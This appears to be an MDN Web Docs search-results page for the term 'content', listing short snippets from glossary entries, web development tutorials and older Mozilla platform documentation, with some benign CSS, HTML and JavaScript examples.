contents as shown below: for(c=0; c<brickinfo.count.col; c++) { for(r=0; r<brickinfo.count.row; r++) { var brickx = 0; var bricky = 0; newbrick = game.add.sprite(brickx, bricky, 'brick'); game.physics.enable(newbrick, phaser.physics.arcade); newbrick.body.immovable = true; newbrick.anchor.set(0.5); bricks.add(newbrick); } } here we're loo...
Plug-in Development Overview - Gecko Plugin API Reference
it determines which plug-ins are installed and which types they support through a combination of user preferences that are private to the browser, the
contents of the plug-ins directory, or the registry on windows.
... to determine the mime types and file extensions that the plug-in handles, the browser normally uses the
content of the registry entries for the plug-in described below in installation using the registry.
CMS - MDN Web Docs Glossary: Definitions of Web-related terms
a cms (
content management system) is software that allows users to publish, organize, change, or remove various kinds of
content, not only text but also embedded images, video, audio, and interactive code.
... learn more general knowledge
content management system on wikipedia ...
Client hints - MDN Web Docs Glossary: Definitions of Web-related terms
client hints are a set of http request header fields for proactive
content negotiation allowing clients to indicate a list of device and agent specific preferences.
... accept-ch: dpr, width, viewport-width, downlink and / or <meta http-equiv="accept-ch"
content="dpr, width, viewport-width, downlink"> when a client receives the accept-ch header, if supported, it appends client hint headers that match the advertised field-values.
Cross Axis - MDN Web Docs Glossary: Definitions of Web-related terms
in the case of a multi-line flex container, with additional space on the cross axis, you can use align-
content to control the spacing of the rows.
... learn more property reference align-
content align-items align-self flex-wrap flex-direction flex further reading css flexbox guide: basic concepts of flexbox css flexbox guide: aligning items in a flex container css flexbox guide: mastering wrapping of flex items ...
Grid - MDN Web Docs Glossary: Definitions of Web-related terms
if you place
content outside of this explicit grid, or if you are relying on auto-placement and the grid algorithm needs to create additional row or column tracks to hold grid items, then extra tracks will be created in the implicit grid.
... the implicit grid is the grid created automatically due to
content being added outside of the tracks defined.
Main Axis - MDN Web Docs Glossary: Definitions of Web-related terms
or, you can control the space between and around items by using the justify-
content property.
... learn more property reference flex-basis flex-direction flex-grow flex-shrink justify-
content flex further reading css flexbox guide: basic concepts of flexbox css flexbox guide: aligning items in a flex container css flexbox guide: controlling ratios of flex items along the main axis ...
Navigation directive - MDN Web Docs Glossary: Definitions of Web-related terms
csp navigation directives are used in a
content-security-policy header and govern to which location a user can navigate to or submit a form to, for example.
... learn more https://www.w3.org/tr/csp/#directives-navigation other kinds of directives: fetch directive document directive reporting directive block-all-mixed-
content upgrade-insecure-requests require-sri-for trusted-types
content-security-policy ...
Scrollport - MDN Web Docs Glossary: Definitions of Web-related terms
a scroll container is created by applying overflow: scroll to a container, or overflow: auto when there is enough
content to cause overflow.
... the scrollport coincides with the padding box of that container and represents the
content that can be seen as the box is scrolled.
Web performance - MDN Web Docs Glossary: Definitions of Web-related terms
web performance is the objective time from when a request for
content is made until the requested
content is displayed in the user's browser, objective render times, and the subjective user experience of load time and runtime.
...subjectively, it is the user's perception of whether the time it takes between the time the user requests the
content and the time until the user feels the
content requested is available and usable feels slow or fast.
Combinators - Learn web development
previous overview: building blocks next the final selectors we will look at are called combinators, because they combine other selectors in a way that gives them a useful relationship to each other and the location of
content in the document.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backgrounds and borders handling different text directions overflowing
content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Getting started with CSS - Learn web development
all modern browsers display html
content by default in pretty much the same way.
...or they might be using a screenreader, which reads out the
content of the document, or they may need to use much larger text, or be navigating the site using the keyboard only.
How CSS works - Learn web development
when a browser displays a document, it must combine the document's
content with its style information.
... understanding the dom helps you design, debug and maintain your css because the dom is where your css and the document's
content meet up.
CSS first steps - Learn web development
css (cascading style sheets) is used to style and lay out web pages — for example, to alter the font, color, size, and spacing of your
content, split it into multiple columns, or add animations and other decorative features.
...looking at it, consuming the
content.) a basic work environment set up as detailed in installing basic software, and an understanding of how to create and manage files, as detailed in dealing with files.
Use CSS to solve common problems - Learn web development
common use cases basics how to apply css to the dom how to use whitespace in css how to write comments in css how to select elements via element name, class or id how to select elements via attribute name and
content how to use pseudo-classes how to use pseudo-elements how to apply multiple selectors to the same rule how to specify colors in css how to debug css in the browser css and text how to style text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing
content how to control the part of a css box that the background is drawn under how do i define inline, block, and inli...
... general how to calculate specificity of a css selector how to control inheritance in css advanced effects how to use filters in css how to use blend modes in css layout using css flexible boxes using css multi-column layouts using css generated
content ...
What text editors are available? - Learn web development
for text editors, check for two different kinds of support: user-oriented
content (faq, manual, online help) discussion with developers and other users (forum, email, irc) use the written documentation when you're learning how to use the editor.
...sometimes the software comes in a compressed archive like .zip, .7z, or .rar, and in that case you'll need to install an additional program to extract the
content from the archive.
How do you host your website on Google App Engine? - Learn web development
have a look at the sample application's structure — the website folder contains your website
content and app.yaml is your application configuration file.
... your website
content must go inside the website folder, and its landing page must be called index.html, but apart from that it can take whatever form you like.
How do I use GitHub Pages? - Learn web development
this article provides a basic guide to publishing
content using github's gh-pages feature.
... publishing
content github is a very important and useful community to get involved in, and git/github is a very popular version control system — most tech companies now use it in their workflow.
What is accessibility? - Learn web development
web accessibility in the specific context of the web, accessibility means that anyone can benefit from your
content, regardless of disability, location, technical limitations, or other circumstances.
... provide an attribute explicitly specifying your
content's language, so that screen readers read your text properly.
HTML forms in legacy browsers - Learn web development
<button> the <button> element suffered from two issues that are now resolved: a bug in old versions of internet explorer sent the html
content available between the starting and ending tag of the <button> element instead of the
content of the value attribute when clicked.
... if the code breaks, the
content and the basic functionalities must remain accessible and usable.
Example - Learn web development
a payment form html
content <form method="post"> <h1>payment form</h1> <p>required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p> <section> <h2>contact information</h2> <fieldset> <legend>title</legend> <ul> <li> <label for="title_1"> <input type="radio" id="title_1" name="title" value="a"> ace </label> </li> <li> <label for="title_2"> <input type="radio" id="title_2" name="title" value="k" > king </label> </li> <li> <label for="title_3"> <input type="radio" id="title_3" name="title" value="q"> ...
..."number" name="cardnumber"> </p> <p> <label for="date"> <span>expiration date:</span> <strong><abbr title="required">*</abbr></strong> <em>formatted as mm/dd/yyyy</em> </label> <input type="date" id="date" name="expiration"> </p> </section> <section> <p> <button type="submit">validate the payment</button> </p> </section> </form> css
content h1 { margin-top: 0; } ul { margin: 0; padding: 0; list-style: none; } form { margin: 0 auto; width: 400px; padding: 1em; border: 1px solid #ccc; border-radius: 1em; } div+div { margin-top: 1em; } label span { display: inline-block; width: 120px; text-align: right; } input, textarea { font: 1em sans-serif; width: 250px; box-sizi...
CSS property compatibility table for form controls - Learn web development
property n t note css box model width yes yes height partial[1] partial[1] on opera, the spinners are zoomed in, which can hide the
content of the field.
... border yes yes margin yes yes padding partial[1] partial[1] on opera, the spinners are zoomed in, which can hide the
content of the field.
The web and web standards - Learn web development
html, css, and javascript html, css, and javascript are the main three technologies you'll use to build a website: hypertext markup language, or html, is a markup language consisting of different elements you can wrap (mark up)
content in to give it meaning (semantics) and structure.
...the following simple javascript will store a reference to our paragraph in memory and change the text inside it: let pelem = document.queryselector('p'); pelem.text
content = 'we changed the text!'; in the house analogy, javascript is like the cooker, tv, microwave, or hairdryer — the things that give your house useful functionality tooling once you've learned the "raw" technologies that can be used to build web pages (such as html, css, and javascript), you'll soon start to come across various tools that can be used to make your work easier or more effici...
Define terms with HTML - Learn web development
note that <dfn> tags go around the word to be defined, not the definition (the definition consists of the entire paragraph): <p><dfn>firefox</dfn> is the web browser created by the mozilla foundation.</p> another use for bold is to emphasize
content.
...the
contents of title are completely hidden from your users, unless they're using a mouse and they happen to hover over the abbreviation.
Assessment: Structuring planet data - Learn web development
create all the
content rows inside the table body, remembering to make all the row headings into headings semantically.
... ensure all the
content is placed into the right cells — in the raw data, each row of planet data is shown next to its associated planet.
Test your skills: Functions - Learn web development
dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text
contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
... print the returned result into the paragraph (para)'s text
content.
Test your skills: Loops - Learn web development
dom manipulation: considered useful some of the questions below require you to write some dom manipulation code to complete them — such as creating new html elements, setting their text
contents to equal specific string values, and nesting them inside existing elements on the page — all via javascript.
...for each one that is a prime number, add it to the paragraph's text
content along with some kind of separator.
Basic math in JavaScript — numbers and operators - Learn web development
for now, let's look at a quick example: <button>start machine</button> <p>the machine is stopped.</p> const btn = document.queryselector('button'); const txt = document.queryselector('p'); btn.addeventlistener('click', updatebtn); function updatebtn() { if (btn.text
content === 'start machine') { btn.text
content = 'stop machine'; txt.text
content = 'the machine has started!'; } else { btn.text
content = 'start machine'; txt.text
content = 'the machine is stopped.'; } } open in new window you can see the equality operator being used just inside the updatebtn() function.
... in this case, we are not testing if two mathematical expressions have the same value — we are testing whether the text
content of a button contains a certain string — but it is still the same principle at work.
Silly story generator - Learn web development
just under the two variable definitions, add two more string replacement lines that replace '94 fahrenheit' with the
contents of the temperature variable, and '300 pounds' with the
contents of the weight variable.
... finally, in the second-to-last line of the function, make the text
content property of the story variable (which references the paragraph) equal to newstory.
What went wrong? Troubleshooting JavaScript - Learn web development
have a look at line 78, and you'll see the following code: loworhi.text
content = 'last guess was too high!'; this line is trying to set the text
content property of the loworhi constant to a text string, but it's not working because loworhi does not contain what it's supposed to.
... syntaxerror: missing : after property id this error usually relates to an incorrectly formed javascript object, but in this case we managed to get it by changing function checkguess() { to function checkguess( { this has caused the browser to think that we are trying to pass the
contents of the function into the function as an argument.
JavaScript object basics - Learn web development
an object like this is referred to as an object literal — we've literally written out the object
contents as we've come to create it.
...for each webpage loaded, an instance of document is created, called document, which represents the entire page's structure,
content, and other features such as its url.
JavaScript — Dynamic client-side scripting - Learn web development
every time a web page does more than just sit there and display static information for you to look at—displaying timely
content updates, interactive maps, animated 2d/3d graphics, scrolling video jukeboxes, or more—you can bet that javascript is probably involved.
... solving common javascript problems use javascript to solve common problems provides links to sections of
content explaining how to use javascript to solve very common problems when creating a webpage.
HTML performance features - Learn web development
elements & attributes impacting performance the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading
content with rel="preload" - (https://w3c.github.io/preload/ ) async / defer attributes <iframe> <object> <script> rel attribute conclusion previous overview: performance next in this module the "why" of web performance what is web performance?
... html performance features css performance features fonts and performance mobile performance focusing on performance see also the <picture> element the <video> element the <source> element the <img> srcset attribute responsive images preloading
content with rel="preload" - (https://w3c.github.io/preload/ ) ...
Learning area release notes - Learn web development
check back here if you want to know what new
content is available, and what existing
content has been improved.
...you can see these on: html text fundamentals creating hyperlinks advanced text formatting images in html video and audio
content from object to iframe — other embedding technologies ...
Server-side web frameworks - Learn web development
web frameworks will have different levels of support for defining what
content can be cached.
... restful routes, plugins, commands, perl-ish templates,
content negotiation, session management, form validation, testing framework, static file server, cgi/psgi detection, and first-class unicode support.
Website security - Learn web development
a reflected xss vulnerability occurs when user
content that is passed to the server is returned immediately and unmodified for display in the browser.
... any scripts in the original user
content will be run when the new page is loaded.
Ember interactivity: Events, classes and state - Learn web development
update the
content to the following: import component from '@glimmer/component'; import { action } from '@ember/object'; export default class headercomponent extends component { @action onkeydown({ target, key }) { let text = target.value.trim(); let hasvalue = boolean(text); if (key === 'enter' && hasvalue) { alert(text); target.value = '' } } } the @action decorator is the ...
...this function's
contents are fairly easy to understand — when the function is invoked, a new todo object instance is created with a text value of text, and the todos property value is updated to all of the current items inside the array (accessed conveniently using spread syntax), plus the new todo.
Framework main features - Learn web development
write code like this in the place where we want it rendered (which will probably be inside another component): <authorcredit src="./assets/zelda.png" alt="portrait of zelda schiff" byline="zelda schiff is editor-in-chief of the library times." /> this will ultimately render the following <figure> element in the browser, with its structure as defined in the authorcredit component, and its
content as defined in the props included on the authorcredit component call: <figure> <img src="assets/zelda.png" alt="portrait of zelda schiff" > <figcaption> zelda schiff is editor-in-chief of the library times.
...2 times: import react from "react"; import { render, fireevent } from "@testing-library/react"; import "@testing-library/jest-dom/extend-expect"; import counterbutton from "./counterbutton"; it("renders a semantic with an initial state of 0", () => { const { getbyrole } = render(<counterbutton />); const btn = getbyrole("button"); expect(btn).tobeinthedocument(); expect(btn).tohavetext
content("clicked 0 times"); }); it("increments the count when clicked", () => { const { getbyrole } = render(<counterbutton />); const btn = getbyrole("button"); fireevent.click(btn); expect(btn).tohavetext
content("clicked 1 times"); fireevent.click(btn); expect(btn).tohavetext
content("clicked 2 times"); }); summary at this point you should have more of an idea about the actual languages...
React interactivity: Events and state - Learn web development
to read the
contents of the input field as they change, you can access the input’s value property.
...'tasks' : 'task'; const headingtext = `${tasklist.length} ${tasksnoun} remaining`; now you can replace the list heading's text
content with the headingtext variable.
Beginning our React todo list - Learn web development
alize; } .btn.toggle-btn { border-width: 1px; border-color: #d3d3d3; } .btn.toggle-btn[aria-pressed="true"] { text-decoration: underline; border-color: #4d4d4d; } .btn__danger { color: #fff; background-color: #ca3c3c; border-color: #bd2130; } .btn__filter { border-color: lightgrey; } .btn__primary { color: #fff; background-color: #000; } .btn-group { display: flex; justify-
content: space-between; } .btn-group > * { flex: 1 1 49%; } .btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { margin: 0; flex: 0 0 100%; text-align: center; } .visually-hidden { position: absolute !important; height: 1px; width: 1px; overflow: hidden; clip: rect(1px 1px 1px 1px); clip: rect(1px, 1px, 1px, 1px); white-space: nowrap; } [class*="stack"] > * { margin-top:...
...t: 44px; } .c-cb > input[type="checkbox"] { -webkit-font-smoothing: antialiased; cursor: pointer; position: absolute; z-index: 1; margin: 0; opacity: 0; } .c-cb > label { font-size: inherit; font-family: inherit; line-height: inherit; display: inline-block; margin-bottom: 0; padding: 8px 15px 5px; cursor: pointer; touch-action: manipulation; } .c-cb > label::before {
content: ""; position: absolute; border: 2px solid currentcolor; background: transparent; } .c-cb > input[type="checkbox"]:focus + label::before { border-width: 4px; outline: 3px dashed #228bec; } .c-cb > label::after { box-sizing:
content-box;
content: ""; position: absolute; top: 11px; left: 9px; width: 18px; height: 7px; transform: rotate(-45deg); border: solid; border-wi...
Rendering a list of Vue components - Learn web development
your app.vue <script> element
contents should now look like this: import todoitem from './components/todoitem.vue'; import uniqueid from 'lodash.uniqueid' export default { name: 'app', components: { todoitem }, data() { return { todoitems: [ { id: uniqueid('todo-'), label: 'learn vue', done: false }, { id: uniqueid('todo-'), label: 'create a vue project with the cli', done: true }, { ...
... the <script>
contents in your todoitem component should now look something like this: export default { props: { label: {required: true, type: string}, done: {default: false, type: boolean}, id: {required: true, type: string} }, data() { return { isdone : this.done, } }, } now, over in your app.vue component, pass item.id as a prop to the todoitem co...
Understanding client-side JavaScript frameworks - Learn web development
note that we were hoping to have more frameworks included upon initial publication, but we decided to release the
content and then add more framework guides later, rather than delay it longer.
... if your favourite framework is not represented in this
content and you'd like to help change that, feel free to discuss it with us!
Introduction to cross browser testing - Learn web development
as a web developer, you need to agree on a range of browsers and devices that the code definitely needs to work on with the site owner, but beyond that, you need to code defensively to give other browsers the best chance possible of being able to use your
content.
... initial planning in the initial planning phase, you will probably have several planning meetings with the site owner/client (this might be your boss, or someone from an external company you are building a web site for), in which you determine exactly what the web site should be — what
content and functionality should it have, what should it look like, etc.
ChromeWorkers and the Chrome worker loader
note: if you're contributing
content to this section, create subpages using the "new sub-page" option in the "this page" menu.
...that will regenerate the table of
contents below for all readers.
Software accessibility: Where are we today?
alternative ways to access the screen's
contents most computer programs are so visual, they are difficult or impossible to use for persons with visual impairments.
... magnification enlarges the screen's
contents: for those with low vision, it may suffice to use a larger font, a built-in high contrast theme, or even just an an extra large screen.
Accessibility and Mozilla
> help
contents f1 > accessibility features) which describe any special features and keyboard shortcuts designed to help users with disabilities.
...software that renders web
content.
Lightweight themes
tip: to ensure that your theme is approved for the gallery, be sure it complies with the
content guidelines and terms of service!
... submit your theme now frequently asked questions for more information about lightweight themes, including
content guidelines, please see these frequently asked questions.
Theme concepts
add the theme image file to the folder: <mytheme> <your_header_image>.<type> create a file called manifest.json in the folder and edit its
content as follows: { "manifest_version": 2, "version": "1.0", "name": "<your_theme_name>", "theme": { "images": { "theme_frame": "<your_header_image>.<type>" }, "colors": { "frame": "#ffffff", "tab_background_text": "#000" } } } where: "frame": is the heading area background color for your theme.
... for example, the following code, from the dynamic theme example defines the
content for the day and night elements of the dynamic theme: const themes = { 'day': { images: { theme_frame: 'sun.jpg', }, colors: { frame: '#cf723f', tab_background_text: '#111', } }, 'night': { images: { theme_frame: 'moon.jpg', }, colors: { frame: '#000', tab_background_text: '#fff', } } }; the theme.theme object is then passed t...
Creating a Language Pack
it is only useful if you want to preview the
contents of the mergedir.
... x-testing: changed: 6 missinginfiles: 6124 missing: 5 0% of entries changed if you now preview the
contents of the mergedir, you'll see that it contains the files which in your localization were missing some entities.
Debugging Table Reflow
cols attribute assigns 1* e0proportionconstraint = 4 // 0*, means to force to min width after this follows the width information for each column: widths=-1 -1 -1 -1 -1 -1 -1 -1 -1 -1 the table code knows ten different width's: #define num_widths 10 #define num_major_widths 3 // min, des, fix #define min_con 0 // minimum width required of the
content + padding #define des_con 1 // desired width of the
content + padding #define fix 2 // fixed width either from the
content or cell, col, etc.
...* colindex=1 isanonymous=0 constraint=0 widths=360 540 -1 -1 -1 -1 -1 -1 -1 360 **end col dump** **start col dump** colindex=2 isanonymous=0 constraint=3 widths=360 540 -1 -1 -1 -1 -1 -1 540 360 **end col dump** **start col dump** colindex=3 isanonymous=0 constraint=0 widths=360 540 -1 -1 -1 -1 -1 -1 -1 360 **end col dump** ***end table dump*** the first column has already the minimum
content width, the table column can't shrink below that, the desired
content width of 540 twips, that's the space to layout cell 1 without wrapping the text and the 1230 which correspond to the style="width:80px" at the first cell.
Makefiles - Best practices and suggestions
laundry list makefiles should remove all
content that it will generate.
... # transient directory for storing timestamps ts=.ts ##################################################### ## extra dep needed to synchronize parallel execution ##################################################### $(ts): $(ts)/.done $(ts)/.done: $(mkdir) -p $(dir $@) touch $@ # "clean" target garbage_dirs += $(ts) maintain clean targets - makefiles should be able to remove all
content that is generated so "make clean" will return the sandbox/directory back to a clean state.
Message manager
they are particularly useful for allowing chrome code, including the browser's code and extension's code, to access web
content while the browser is running web
content in a separate process.
... guides message manager overview frame script loading and lifetime communicating with frame scripts performance best practices frame script environment limitations of frame scripts process scripts api reference nsiframescriptloader nsimessagelistenermanager nsimessagebroadcaster nsimessagesender nsisyncmessagesender nsi
contentframemessagemanager nsiprocessscriptloader ...
Multiprocess Firefox
message manager a complete guide to the objects used to communicate between chrome code and web
content.
... cross process object wrappers cross process object wrappers are a migration aid, giving chrome code synchronous access to web
content.
Site Identity Button
u expect a green padlock) you can find out the cause of the problem by looking in the web console in the firefox developer tools: ensure your web console is displaying messages in the 'security' category force-refresh the page on your site that is causing problems watch for any security messages that may appear a downgraded security ui will be due to one of these three problems: mixed
content - while your page has been served over tls, but subresources loaded for your page have not.
... in this case, expect to see a 'mixed
content' message in the web console.
HTMLIFrameElement.getScreenshot()
the getscreenshot() method of the htmliframeelement lets you request a screenshot of a
content <iframe>, scaled to fit within a specified maximum width and height.
...this lets you get a transparent background for the
content <iframe>.
mozbrowsererror
the mozbrowsererror event is fired when an error occurs while trying to load
content within a browser <iframe>.
...possible values are: fatal(crash) unknownprotocolfound filenotfound dnsnotfound connectionfailure netinterrupt nettimeout cspblocked phishingblocked malwareblocked unwantedblocked offline malformeduri redirectloop unknownsockettype netreset notcached isprinting deniedportaccess proxyresolvefailure proxyconnectfailure
contentencodingfailure remotexul unsafe
contenttype corrupted
contenterror certerror other example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsererror", function( event ) { console.log("an error occurred:" + event.detail); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsericonchange mozbrowserloadend m...
mozbrowserfirstpaint
the mozbrowserfirstpaint event is fired when the <iframe> paints
content for the first time (this doesn't include the initial paint from about:blank).
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserfirstpaint", function(event) { console.log("first
content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsershowmodalprompt
the mozbrowsershowmodalprompt event is fired when the
content of a browser <iframe> calls the window.alert(), window.confirm(), or window.prompt() methods.
... message a domstring representing the value passed to the window.alert(), window.confirm(), or window.prompt() methods within the browser <iframe>'s
content.
HTMLIFrameElement.reload()
the reload() method of the htmliframeelement interface is used to reload the
content of the <iframe>.
... examples stopreload.addeventlistener('touchend',function() { if(stopreload.text
content === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification.
HTMLIFrameElement.setVisible()
if the visible state is set to true, it means that the browser <iframe> should have high priority over the resources needed to render and handle its
content.
... as an example, if the
content of a browser <iframe> uses the window.requestanimationframe method and if the visible state is set to true, window.requestanimationframe will be called as often as necessary.
HTMLIFrameElement.stop()
the stop() method of the htmliframeelement interface is used to stop loading the
content of the <iframe>.
... examples stopreload.addeventlistener('touchend',function() { if(stopreload.text
content === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification.
Embedding the editor
the box object is a layout structure that is owned by
content nodes, and survives frame destruction/recreation.
...briefly, the embedding objectives are: <editor> should get you a working editor in a xul application should be able to have multiple <editor>s per xul window should be able to embed an editable
content frame in a native application embedders should be able to supply their own chrome (toolbars etc).
Geckoview-Junit Tests
org.mozilla.geckoview.test.
contentdelegatetest.
... @test fun
contentcrashignored() { // cannot test x86 debug builds due to gecko's "ah_crap_handler" // that waits for debugger to attach during a sigsegv.
DownloadSummary
provides an aggregated view on the
contents of a downloadlist.
...promise bindtolist( downloadlist alist ); parameters alist underlying downloadlist whose
contents should be summarized.
Examples
.length; i++) { let promise = os.file.read(files[i]) promise = promise.then(function onsuccess(array) { return decoder.decode(array); }); promises.push(promise); } return promise.all(promises); } let folder = "/path/to/folder"; let promise = readtextfiles([ os.path.join(folder, "read.me"), os.path.join(folder, "home.html") ]); promise.then( function onsuccess(files
content) { // files
content is an array of strings; each string is the
content of one file.
... console.log(files
content); }, function onfail() { console.error("failed to load all files"); } ); see also the ask.m.o topic: doing multiple promises in function in pareallel, how return when last done?
Webapps.jsm
activities: function(amanifest, aapp) _processmanifestforids: function(aids, arunupdate) observe: function(asubject, atopic, adata) addmessagelistener: function(amsgnames, aapp, amm) removemessagelistener: function(amsgnames, amm) formatmessage: function(adata) receivemessage: function(amessage) getappinfo: function getappinfo(aappid) broadcastmessage: function broadcastmessage(amsgname, a
content) registerupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amani...
...lose(aapp) canceldownload: function canceldownload(amanifesturl, aerror) startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupdate: function(adata, amm) doinstall: function doinstall(adata, amm) doinstallpackage: function doinstallpackage(adata, amm) push
contentaction: function(windowid) pop
contentaction: function(windowid) actioncancelled: function(windowid) denyinstall: function(adata) _setupapp: function(adata, aid) _cloneapp: function(adata, anewapp, alocalemanifest, amanifest, aid, alocalid) _writemanifestfile: function(aid, aispackage, ajsonmanifest) _nextlocalid: function() _appidformanifesturl: function(auri) makeappid: function() _save...
Localization sign-off reviews
text in red font represents
content you've removed since the last released revision.
... unseen here, orange font represents
content that was replaced in your new release revision.
Mozilla MathML Status
sections related to semantics/
content mathml or irrelevant features are left blank or not listed at all.
... original document information author(s): frédéric wang other contributors: copyright information: portions of this
content are © 2010 by individual mozilla.org contributors;
content available under a creative commons license | details.
MathML Demo: <mfrac> - fractions
and this is an example where the bevelled attribute is set inside the radical y 2 - t 2 1 ( 1 + | y 2 - t 2 | 2 ) and this shows a combination with a background image at a desired opacity mathml background image html
content <div class="background"></div> <math display="block"> <mrow> <msub> <mi>z</mi> <mi>α</mi> </msub> <mrow> <mo>(</mo> <mi>f</mi> <mo>)</mo> </mrow> <mo>=</mo> <mfrac> <mn>1</mn> <mrow> <mn>2</mn> <mi>i</mi> <mo>&thinspace;</mo> <mi>cos</mi> <mo>(</mo> <mfrac> <mrow> <mi>α</mi> <mi>π</mi> </mrow> <mn>2</mn> </mfrac> <mo>)</mo> </mrow> </mfrac> <mrow> <msub> <mo>∫</mo> <m...
...>c</mi> </msub> <mfrac> <mrow> <mi>f</mi> <mo stretchy='false'>(</mo> <mi>i</mi> <mi>z</mi> <mo stretchy='false'>)</mo> <msup> <mrow> <mo>(</mo> <mo>-</mo> <mi>z</mi> <mo>)</mo> </mrow> <mi>α</mi> </msup> </mrow> <mrow> <msup> <mi>e</mi> <mrow> <mn>2</mn> <mi>π</mi> <mi>z</mi> </mrow> </msup> <mo>-</mo> <mn>1</mn> </mrow> </mfrac> </mrow> <mi>d</mi> <mi>z</mi> </mrow> </math> css
content [class="background"] { background-image: url(http://www.mozilla.org/images/mozilla-banner.gif); opacity: 0.2; position: absolute; left: 0; width: 100%; height: 58px; } ...
MathML Demo: <mspace> - space
interactive sizing html
content <p> use the control buttons below to adjust the parameters of the <code>mspace</code> element and see the effects.
...ass="control" href="javascript:updepth();" title="increase depth">+</a>/ <a class="control" href="javascript:downdepth();" title="decrease depth">-</a> <math display="block"> <mstyle displaystyle="true"> <msqrt> <mrow> <mn>3</mn> <mspace style="background-color: yellow" id="thespace" height="0.1ex" depth="0.1ex" width="0.1em" /> <mi>x</mi> </mrow> </msqrt> </mstyle> </math> </p> javascript
content var height=0; var width=0; var depth=0; function upheight() { height++; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function downheight() { height--; document.getelementbyid("thespace").setattribute("height",height+".1ex"); } function upwidth() { width++; document.getelementbyid("thespace").setattribute("width",width+".1em"); } function downwidth() { ...
Mozilla MathML Project
updates status of each tag result of the mathml 3 testsuite unofficial nightly builds with mathml patches applied (maintained by bill gianopoulos) more updates and archived
content community view mozilla forums...
...sidje other contributors: frédéric wang last updated date: april 4, 2010 copyright information: portions of this
content are © 1999–2010 by individual mozilla.org contributors;
content available under a creative commons license | details.
Mozilla Port Blocking
warning: the
content of this article may be out of date.
... more information nsioservice.cpp gbadportlist bug 83401 vulnerability note vu#476267 dougt@netscape.com original document information author(s): doug turner last updated date: august 15, 2007 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
Mozilla Development Strategies
warning: the
content of this article may be out of date.
...cvs commit client.mak nmake -f client.mak original document information author(s): seth spitzer and alec flett last updated date: september 3, 2006 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
BloatView
for nsstring you'll see the size of the header struct, not the size of the string
contents!) bytes leaked - the number of bytes per instance times the number of objects leaked: (bytes per-inst) x (objects rem).
... byte bloats name file date blank blank.txt tue aug 29 14:17:40 2000 mozilla mozilla.txt tue aug 29 14:18:42 2000 yahoo yahoo.txt tue aug 29 14:19:32 2000 netscape netscape.txt tue aug 29 14:20:14 2000 the numbers do not include malloc 'd data such as string
contents.
Leak Gauge
results of processing log leak.log : summary: leaked 0 out of 11 dom windows leaked 0 out of 44 documents leaked 0 out of 3 docshells leaked
content nodes in 0 out of 0 documents if there are leaks, output will look like the following.
...summary: leaked 13 out of 15 dom windows leaked 35 out of 46 documents leaked 4 out of 4 docshells leaked
content nodes in 42 out of 53 documents if you see such a results, please file a bug.
tools/power/rapl
sudo $objdir/dist/bin/rapl alternatively, it can be run without root privileges by setting the
contents of /proc/sys/kernel/perf_event_paranoid to 0.
... note that if you do change this file, its
contents may reset when the machine is next rebooted.
dom.event.clipboardevents.enabled
type:boolean default value:true exists by default: no application support: gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) status: active; last updated 2012-02-15 introduction: pushed to nightly on 2012-02-14 bugs: bug 542938 values true (default) the oncopy, oncut and onpaste events are enabled for web
content.
... false the oncopy, oncut and onpaste events are disabled for web
content.
Preference reference
if set to true, the data is stored as
content preference.browser.pagethumbnails.capturing_disabledthe preference browser.pagethumbnails.capturing_disabled controls whether the application creates screenshots of visited pages which will be shown if the web page is shown in the grid of the "new tab page" (about:newtab) which offers the most often visited pages for fast navigation.browser.search.context.loadinbackgroundbrowser.search.context.lo...
...kerunderlineui.spellcheckerunderline holds the colour which is used to underline words not recognized by the spellchecker.ui.spellcheckerunderlinestyleui.spellcheckerunderlinestyle holds the style which is used to underline words not recognized by the spellchecker.ui.textselectbackgroundui.textselectbackground saves the color in which the background of a text selection in the user interface or in
content will be styled.ui.textselectforegroundui.textselectforeground saves the color in which the text of a text selection in the user interface or the
content will be styled.ui.tooltipdelayui.tooltipdelay stores the delay in milliseconds between the mouse stopping over an element and the appearing of its tooltip.view_source.syntax_highlightthe preference view_source.syntax_highlight controls whether ma...
Productization guide
productization is the choice of ''default'' search engines,
content and protocol handlers, bookmarks, links to recommended sites on the in-product pages, etc.
...purpose of productization there are two main purposes of adding default web services to mozilla products: provide users with useful and relevant
content demonstrate certain features of the product the first one (provide users with useful and relevant
content) is obvious: we want to improve our users’ experience on the web, so we provide a couple of well-thought suggestions for different services.
L20n HTML Bindings
<p data-l10n-id="about"></p> notice that you don't have to put the text
content in the html anymore (you still can if you want to).
... all
content lives in the localization resources.
Creating a Cookie Log
type "cd /applications/firefox.app/
contents/macos" and press return.
... original document information author(s): mike connor last updated date: december 4, 2004 copyright information: portions of this
content are © 1998–2007 by individual mozilla.org contributors;
content available under a creative commons license | details.
